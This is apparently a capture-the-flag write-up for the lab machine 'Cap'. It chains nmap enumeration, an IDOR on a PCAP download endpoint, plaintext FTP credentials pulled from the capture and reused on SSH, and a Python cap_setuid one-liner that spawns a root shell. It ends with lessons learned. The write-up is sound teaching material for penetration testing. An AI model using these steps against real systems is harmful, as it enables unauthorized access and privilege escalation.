IDOR to Root.
How Cap Punishes
Lazy Authorization.

The Machine

Cap is a Linux machine running a Python/Gunicorn-based security dashboard. The dashboard lets authenticated users run network captures and download the resulting PCAP files. The intended path is IDOR on the download endpoint, then credential extraction from the captured traffic, then Linux capability abuse for root.

It covers two of the most common real-world findings in web application assessments: insecure direct object references and plaintext protocol credential capture. The privilege escalation via Linux capabilities is a reminder to always run getcap as part of post-foothold enumeration. find -perm -4000 finds SUID bits. It does not find capabilities. They are a separate check.

Enumeration

Two-phase nmap. Wide coverage first, then a targeted service scan on all open ports.

$ nmap -p- --min-rate 1000 -oN cap-all-ports.txt 10.129.26.15

$ ports=$(grep open cap-all-ports.txt | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//')
$ nmap -p $ports -sC -sV --min-rate 1000 -oN cap-service-scan.txt 10.129.26.15

Three open ports: FTP, SSH, and HTTP. FTP is the natural first test. Anonymous login is frequently enabled on HTB Linux machines.

$ ftp 10.129.26.15

Anonymous login rejected. FTP requires credentials. The web application on port 80 is the next target.

Web Application: Security Dashboard

The dashboard is a security monitoring web app. The interface is already authenticated as nathan. A network capture feature generates PCAP files and serves them at a predictable URL:

http://10.129.26.15/data/1

A sequential integer ID. No ownership validation visible in the response. That is an IDOR waiting to be tested.

Foothold

IDOR: /data/0

The current session generates /data/1. Decrementing the ID to /data/0 retrieves a capture from an earlier session belonging to a different user. The server returns it with no error, no redirect, and no authorisation check.

PCAP Analysis: FTP Credentials in Plaintext

Open 0.pcap in Wireshark and apply an FTP display filter to isolate the control channel traffic:

Wireshark filter: ftp

Follow the TCP stream on any FTP packet to view the full authentication exchange:

220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.

SSH with Recovered Credentials

FTP credentials recovered. SSH is open on port 22. Password reuse is common. Test it immediately:

$ ssh nathan@10.129.26.15

nathan@cap:~$ cat ~/user.txt

Privilege Escalation: cap_setuid on Python 3.8

nathan@cap:~$ whoami && id

Standard user. No sudo rights, no interesting group memberships. Check Linux capabilities, a separate vector from SUID binaries that is missed by find -perm -4000:

nathan@cap:~$ getcap -r / 2>/dev/null

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping      = cap_net_raw+ep

With cap_setuid on a scripting runtime, root is a one-liner. Call os.setuid(0) to set the process UID to root, then spawn a shell that inherits it:

nathan@cap:~$ python3.8 -c "import os; os.setuid(0); os.system('/bin/bash')"

root@cap:~# cat /root/root.txt

Attack Chain

Vulnerabilities Found

Lessons Learned

• IDOR on sequential numeric IDs is worth testing on every endpoint. Any URL containing an integer is a candidate. Decrement to 0 immediately. The check costs nothing and a high percentage of web applications fail to validate object ownership server-side.
• FTP transmits credentials in cleartext. USER and PASS commands travel as raw ASCII on port 21. If a PCAP exists containing FTP traffic, filter for it immediately. No special decoding required. The credentials are human-readable in the TCP stream.
• Test every recovered credential against every open service before moving on. Credential reuse is extremely common. Buck3tH4TF0RM3! from FTP worked on SSH. Always spray horizontally across all open ports with any newly found credential.
• getcap is a separate check from find -perm -4000. SUID bits and Linux capabilities are two different privilege escalation vectors. Running find -perm -4000 misses capabilities entirely. getcap -r / 2>/dev/null should be standard in every post-foothold checklist.
• cap_setuid on a scripting runtime is instant root. Python, Ruby, Perl, and similar runtimes with cap_setuid all have the same one-liner exploit: call setuid(0) then spawn a shell. The capability is as dangerous as a SUID bit and significantly less visible.
• The 2>/dev/null pattern is critical on noisy recursive commands. Without it, getcap floods output with permission denied errors from restricted directories. Redirect stderr to keep output clean and catch the real findings.